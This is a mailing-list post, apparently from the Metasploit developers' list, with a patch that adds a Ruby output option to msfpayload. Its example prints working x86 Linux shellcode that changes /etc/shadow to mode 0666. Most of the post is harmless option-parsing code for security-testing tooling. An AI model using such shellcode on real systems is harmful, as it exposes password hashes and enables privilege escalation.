-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hey,

I've attached a simple patch to add Ruby formatting to msfpayload.  The
underlying functionality was (obviously) all ready implemented, but the
option wasn't available to use here.

"r" is all ready used for raw and "b" for Java, so I chose "y" for Ruby.

Using my chmod payload as an example:

[EMAIL PROTECTED] ./msfpayload linux/x86/chmod y
# linux/x86/chmod - 36 bytes
# http://www.metasploit.com
# AppendExit=false, MODE=0666, PrependSetresuid=false,
# PrependSetuid=false, PrependSetreuid=false, FILE=/etc/shadow
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63" +
"\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00" +
"\x59\xcd\x80\x6a\x01\x58\xcd\x80"

Thanks,
Kris Katterjohn
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iQIVAwUBR84qN/9K37xXYl36AQKQ2Q/+Iox9XUrDQIsfOzqmD3kh6JT+aJJXtn8m
fNFpiP/zDgGK/4bidEWqRwL+CW7MrdiIw1kOwNXMnTwS2wCyq2gDK8bJM0au8Ntx
JnwifW3hB4kRH8mPF6OGqgJDAB0M0+Nviq1EMJ6UruDlVxKBXHsHIrp2Xv/+E4A+
Pwi/R66QcJHFJG2yl+lfmg2DsYOutS08/sH1+3rfV1+SVcw/Td07FcasLFd+9lEv
pCdXNrbnzuq22gu5Mf4o5UnxFv1C/oaAcpPO/We4a7Bv2yVFVC0n9Dk/JM0oZQiV
NGphN5nUrwbPrXBODOo30qBUtqdWOIQM2GMxPLz2PjAHijpAtTGIEAJqXvX3buqK
ORyIda3Glv64S3Kj3RWTYcuGWlF6nMmRYfViQ05olIBl3XvXKKD1J1N/p3wGQSsS
NT+4L3a/PkLI1BDH715HzUC20J63vwp0e+HhKsF+9oxOsW2aQGznOthx0qcEQlDC
N6Xv7Dddp675QsIbIA/UnGc4KeWjuj4eMd+qD9uoDx80XIEgTrQJJb2478sxNVGm
VU5KXTRONX9gvkJQJ3J90EC+61AFAqY0ZW7iERN1XgisPI8EHQaDxJklYd+fIgzM
4onXBTmGieRy23RtQixhmUsXjBk59R9GwV7WiAyz+ogU/uXrFOOqOtKLThaQv+L1
z3mvq0N/034=
=iiAh
-----END PGP SIGNATURE-----
Index: msfpayload
===================================================================
--- msfpayload	(revision 5431)
+++ msfpayload	(working copy)
@@ -32,7 +32,7 @@
 $framework = Msf::Simple::Framework.create
 
 if (ARGV.length <= 1)
-	puts "\n" + "    Usage: #{$0} <payload> [var=val] <S[ummary]|C|P[erl]|R[aw]|J[avascript]|e[X]ecutable>\n"
+	puts "\n" + "    Usage: #{$0} <payload> [var=val] <S[ummary]|C|P[erl]|[Rub]y|R[aw]|J[avascript]|e[X]ecutable>\n"
 	puts dump_payloads
 	exit
 end
@@ -57,8 +57,9 @@
 # Populate the framework datastore
 options = ARGV.join(',')
 
-if (cmd =~ /^(p|r|c|j|x|b)/)
+if (cmd =~ /^(p|y|r|c|j|x|b)/)
 	fmt = 'perl' if (cmd =~ /^p/)
+	fmt = 'ruby' if (cmd =~ /^y/)
 	fmt = 'raw' if (cmd =~ /^(r|x)/)
 	fmt = 'c' if (cmd == 'c')
 	fmt = 'js_be' if (cmd =~ /^j/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG)
_______________________________________________
Framework-Hackers mailing list
Framework-Hackers@spool.metasploit.com
http://spool.metasploit.com/mailman/listinfo/framework-hackers

Reply via email to